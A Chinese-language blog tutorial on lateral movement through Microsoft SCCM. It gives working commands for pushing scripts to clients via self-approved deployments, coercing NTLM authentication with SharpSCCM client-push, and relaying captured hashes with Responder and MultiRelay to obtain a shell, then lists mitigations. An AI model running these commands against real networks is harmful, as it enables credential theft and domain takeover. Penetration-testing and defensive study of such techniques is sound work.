利用SCCM进行横向移动

news2024/11/23 22:05:57

01SCCM介绍

SCCM全名为System Center Configuration Manager,从版本1910开始,微软官方将其从Microsoft System
Center产品移除,重新命名为Microsoft Endpoint Configuration Manager(ConfigMgr),其可帮助 IT
部门管理电脑和服务器,保持软件的最新状态,设置配置和安全策略,并监控系统状态,同时让员工能够访问所选设备上的公司应用程序。

##02SCCM安装

SCCM下载:https://www.microsoft.com/zh-cn/evalcenter/evaluate-microsoft-endpoint-
configuration-manager

SCCM安装先决条件* SQLSERVER2012以上* 必须为域内服务器主机,SQLSERVER服务必须使用域内账户管理(普通域用户)* Windows ADK安装:https://docs.microsoft.com/zh-cn/windows-hardware/getstarted/adk-install#other-adk-downloads* 需修改SQLSERVER实例排序规则为SQL_Latin1_General_CP1_CI_AS,修改方法如下暂停SQLSERVER服务cd C:\Program Files\Microsoft SQL Server\110\Setup Bootstrap\SQLServer2012Setup /QUIET /ACTION=REBUILDDATABASE /instancename=mssqlserver /SQLSYSADMINACCOUNTS=PENTEST\administrator /sapwd= /sqlcollation=SQL_Latin1_General_CP1_CI_AS重启SQLSERVER服务* 15G以上的存储空间* 服务器需要安装Remote Differential Compression服务

##03SCCM攻击利用

对于SCCM攻击利用首先查看目标环境是否存在,可以从目标机器中查看是否存在CcmExec.exe程序和ConfigMgr任务序列代理服务,如果存在即目标机器为SCCM的客户端机器,目标环境存在SCCM管理站点。

1667379287_6362305716b35fc55b03b.png!small?1667379287839

通过使用SCCM推送恶意文件

利用SCCM软件分发功能,如果攻击者控制了管理站点就可以向客户端进行‘软件分发推送恶意文件。

从软件库中创建powershell脚本执行calc.exe。

1667379311_6362306f1887e24114501.png!small?1667379311608

创建如下,审批状态是已批准,只有已批准的软件或者脚本才可以下发客户端使用。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zqCJuyKC-1691676828077)(https://image.3001.net/images/20221102/1667379331_63623083aa9626b1265ad.png!small?1667379332344)]

默认情况下脚本创建作者是不可以审批自己的脚本,如果获取的是平台的完全权限管理员是可以从站点配置中进行修改,使自己审批自己创建的脚本。

1667379423_636230dfeffbad7ff34bb.png!small?1667379424724

通过在站点处层次结构设置中进行修改,取消勾选脚本编写者需要其他脚本审批者,这时在站点中就可以自己批准自己脚本。

1667379435_636230eb7776ec7542efb.png!small?1667379436134

通过客户端进行下发成功执行powershell脚本,在客户端机器中执行win32calc.exe。

1667381109_63623775921a176407a4c.png!small?1667381110347

通过SCCM强制进行NTLM认证

在客户端机器中使用SharpSCCM查询本地站点信息SharpSCCM.exe local siteinfo

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-deH7ceoS-1691676828078)(https://image.3001.net/images/20221102/1667381310_6362383e32c5863ab572c.png!small?1667381310584)]

MSSQL.pentest.com是管理站点地址,XOR是站点代码。

其原理是从wmi命名空间root\ccm去查询客户端注册相关信息,我们可以通过系统提供wbemtest(https://docs.microsoft.com/en-
us/mem/configmgr/develop/core/understand/introduction-to-
wbemtest)连接命名空间root\ccm枚举其中的类。

1667381338_6362385a4c87d54c29684.png!small?1667381350234

通过配置我们知道在环境中SCCM要对某个机器下发客户端安装需要通过WMI远程管理,使用配置的账户连接到目标主机的ADMIN$共享,这个配置账号必定是本地管理员组或者是Domain
Admins组用户才能在工作组或域环境中对目标机器进行连接下发安装。就如下图,在站点MSSQL.pentest.com中客户端安装设置中的客户端请求安装属性账户必须是目标计算机上本地管理员组成员。

1667381353_636238699336f39a705f3.png!small?1667381354470

知道了上面这点,围绕获取这个配置账户的权限又有了如下攻击利用方式,SharpSCCM作者Mayyhem发现当SCCM启用自动站点分配和自动客户端推送安装,并且客户端身份验证不需要PKI证书时,可以将NTLM身份验证从管理点的安装和计算机账户强制转换为任意NetBIOS名称、FQDN或IP地址,允许凭据转发或破解,并且可以在任何Windows
SCCM客户端上的低权限用户来完成。

也就是说通过SCCM进行强制NTLM验证有以下四个条件:* 必须启用边界组的自动站点分配、自动站点范围客户端请求安装和允许连接回退到NTLM(默认开启的)

客户端推送安装属性设置:

1667381417_636238a99cf40457337fb.png!small?1667381418333

建立边界组并勾选将此边界组用于站点分配:

1667381439_636238bfceb00aa749f3d.png!small?1667381440892* 目标管理点必须能够通过445端口上的SMB访问或者启用WebClient通过任何端口的HTTP访问* PKI证书不能要求客户端对管理点进行身份验证,才能以低权限用户身份执行此攻击

通信安全设置:

1667381481_636238e9342ecc3ee779a.png!small?1667381481834* 目标机器上没有SCCM客户端存留

SharpSCCM使用SCCM客户端附带客户端消息传递SDK向管理点发送新设备注册请求,表明客户端未安装在指定的NetBIOS名称、FQDN或IP地址上,如果满足上述四个条件,管理站点将启动客户端推送安装,并使用配置账户与目标机器连接。

1667381495_636238f7578f4a8529db4.png!small?1667381495960

SharpSCCM使用推送命令如下,在站点中创建192.168.245.151机器:SharpSCCM.exe MSSQL.pentest.com XOR invoke client-push -t 192.168.245.151

1667381511_63623907b3055bd094ae7.png!small?1667381512225此时在管理站点中就会发现创建了192.168.245.151机器

1667381525_636239159880b66a76faa.png!small?1667381526145

在151这台机器中使用responder(在配置文件中关闭SMB和HTTP接收开关)和MultiRelay设置中继服务器,并中继到133这台机器上

smb中继条件: SMB签名是关闭的python MultiRelay.py -t 192.168.245.133 -u ALLresponder -I eth0 -rPv

1667381535_6362391f35b5b58b88d08.png!small?1667381536128

在使用SharpSCCM推送安装后151主机接收到NTLMv2 hash并中继给了133主机,133主机接收到中继的PENTEST\secadmin
NTLMv2 hash后弹回shell

1667381542_63623926673d1c1ea24d4.png!small?1667381543332

如何防止SCCM强制进行NTLM认证这种攻击:* 禁用“允许连接回退到NTLM”客户端推送安装设置* 使用基于软件更新的客户端安装(https://docs.microsoft.com/en-us/mem/configmgr/core/clients/deploy/deploy-clients-to-windows-computers),而不是自动全站点客户端推送安装* 需要SMB签名,以防止中继凭据被用于向其他系统进行身份验证* 切勿使用高权限组的成员(域管理员)进行客户端推送安装,相反为此专门为每个站点创建一个没有交互式登录权限的账户,并将其添加到本地管理员组,做到对此账户的监控* 有条件的情况下设置PKI证书进行客户端的身份验证

最后

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,有需要的小伙伴,可以【扫下方二维码】免费领取:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/860852.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

W6100-EVB-PICO 做TCP Server进行回环测试(六)

前言 上一章我们用W6100-EVB-PICO开发板做TCP 客户端连接服务器进行数据回环测试,那么本章将用开发板做TCP服务器来进行数据回环测试。 TCP是什么?什么是TCP Server?能干什么? TCP (Transmission Control Protocol) 是一种面向连…

实现分布式事务:Java与MySQL的XA事务协调

目录 一、什么是XA事务 二、Java中的XA事务支持 三、MySQL的XA事务协调 四、注意事项和最佳实践 五、基于 java 语言的开发工具 六、小结 分布式事务是在跨多个数据库或服务之间保持一致性的重要机制。Java与MySQL的XA(eXtended Architecture)事务…

获取接口的所有实现

一、获取接口所有实现类 方法1:JDK自带的ServiceLoader实现 ServiceLoader是JDK自带的一个类加载器,位于java.util包当中,作为 A simple service-provider loading facility。 (1)创建接口 package com.example.dem…

Lua 数据类型 —— 字符串

一、字符串 Lua 使用 八个比特位来存储 字符。(一个字节 八个比特位) Lua 最好使用 UTF-8 编码。 字符串是不可变值,和 java 和 kotlin 相似,修改其中某一个字符,都是创建一个新的字符串。 Lua 对字符串会进行自动…

Python进阶(二)

前言:本篇博客主要记录Python进程的创建、进程间的通信、进程池的使用、线程的创建、多线程的执行、同步和互斥、协程的创建和应用。 目录 思维导图 基本概念 进程 进程的创建 进程间的通信 进程池 线程 线程的创建 子线程的执行顺序 同步&互斥 互斥…

惊讶,日本用“Excel”作画,中国却用“Excel”造“另类”软件

精益求精 表格是一项伟大的创造,它的出现改变了人类记录、分析和展示数据的方式。 随着科技的日益月异的更新,从最早的纸质表格到现代化的电子表格,人类对表格的改造也在不断的升级和进步。 最初的纸质表格的简单记录,无法进行复…

企业权限管理(八)-登陆使用数据库认证

Spring Security 使用数据库认证 在 Spring Security 中如果想要使用数据进行认证操作,有很多种操作方式,这里我们介绍使用 UserDetails 、 UserDetailsService来完成操作。 UserDetails public interface UserDetails extends Serializable { Collecti…

汇聚行业精英,共探创新之道:首届NDI生态系统行业峰会即将登陆北京!

IP化和轻量化是媒体制播技术发展的主要趋势。为了推进媒体行业的IP制播技术应用发展,提供一个专业、全面的媒体技术交流平台,长沙千视电子科技有限公司将联合NDI官方、NDI生态产品厂家和NDI技术应用媒体单位于2023年8月22日在北京举办国内首届NDI生态系统…

嵌入式开发学习(STC51-11-中断系统)

内容 外部中断-使用独立按键K3控制LED亮灭; 定时器(中断)-通过定时器0中断控制D1指示灯间隔1秒闪烁; 串口通信(中断)-通过串口(UART)实现与PC机对话,51单片机的串口收…

Leetcode算法递归类—合并两个有序链表

目录 21. 合并两个有序链表 题解: 代码: 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 示例 1: 输入:l1 [1,2,4], l2 [1,3,4] 输出:[1,1,2,3,4,4]示例 2&a…

logstash 采集 docker 日志

1、nginx容器部署 参考:nginx容器部署 将容器内的nginx日志文件映射到宿主机/home/logs/nginx目录下 注意:并且需要需要将日志的输出格式修改为json 2、编辑vim /opt/logstash-7.4.2/config/nginx-log-es.conf 文件,收集docker nginx容器日…

【时间格式引发的事故】

时间格式引发的事故 背景实战演示结论 背景 前不久写了一个删除数据接口,条件是根据时间删除时间后面的数据。入参是 时间字符串。后台的时间格式 是 yyyyMMdd。然后当时前端传参数的时候,随意的传了2023-07-31的时间,然后将该表的数据全部删…

CCLINK IE转MODBUS-TCP网关modbus tcp协议详解

你是否曾经遇到过需要同时处理CCLINK IE FIELD BASIC和MODBUS两种数据协议的情况?捷米的JM-CCLKIE-TCP网关可以帮助你解决这个问题。 捷米JM-CCLKIE-TCP网关可以分别从CCLINK IE FIELD BASIC一侧和MODBUS一侧读写数据,然后将数据存入各自的缓冲区。接着…

【学习】若依源码(前后端分离版)之 “ 用户管理根据不同角色、部门显示数据范围”

大型纪录片:学习若依源码(前后端分离版)之 “ 用户管理根据不同角色、部门显示数据范围” 前端部分后端部分“ /list " 方法" /treeselect " 方法 结语 起因是我想做一个根据不同角色以及其所在的部门展示其相应的信息&#x…

StarRocks 3.1重磅发布,云原生湖仓新范式再升级!

StarRocks 自4月底发布3.0版本,拥抱云原生,开启极速统一的湖仓新范式;8月7日,StarRocks 正式发布全新3.1版本,全面提升云原生存算分离构架、极速数据湖分析、物化视图等重量级特性,让用户更简单的实现极速统…

前端性能优化之性能优化的指标和工具(chrome devtools、lighthouse、webpagetest)

文章目录 引言一、为什么要进行web性能优化二、RAIL测量模型1. 什么是RAIL2. 性能测量工具 三、性能测量工具的使用和性能指标以及优化目标1. Chrome DevTools1. 打开调试工具方式和配置2. network下的几个性能指标1. requests 请求总数2. transferred实际从服务器下载的数据量…

uni-app:实现点击按钮,进行数据累加展示(解决数据过多,导致出错)

效果 代码 核心代码 一、标签显示 <!-- 加载更多 --> <view class"load_more" v-if"info.length > pageNum * pageSize" tap"loadMore">加载更多 </view> v-if"info.length > pageNum * pageSize"&#xf…

主数据管理案例-某研究所

1、 背景介绍及难点分析 某军工研究所是机电类科研生产一体化研究所&#xff0c;具有多品种、小批量、离散性、央企、军工保密等特点&#xff0c;在数据管理系统和研制管理体系的控制下&#xff0c;设计、工艺、 制造、试验、售后服务等环节都产生了大量的数据。在管理信息化、…

影像维修工程师专项技能培训

最近遇到很多咨询的人员都在对医疗行业产生疑惑&#xff0c;新闻报道说很多医院、公司的领导都被查&#xff0c;这样会不会影响设备维修方面&#xff0c;对后期找工作等有没有影响&#xff1f;总不能学好了技术却没有发挥的余地&#xff1f; 最近确实是国家整体在对医疗方面做…

Win11 VS2022 配置CGAL-5.6

由于项目要用到几何库CGAL&#xff0c;因此做了配置。采用的是官方文档中的“Installing from the Source Archive”方式。 1. 下载安装CGAL &#xff08;1&#xff09;CGAL-5.6.zip下载地址&#xff1a;Releases CGAL/cgal GitHub 下载下图所示的两个文件。 &#xff08…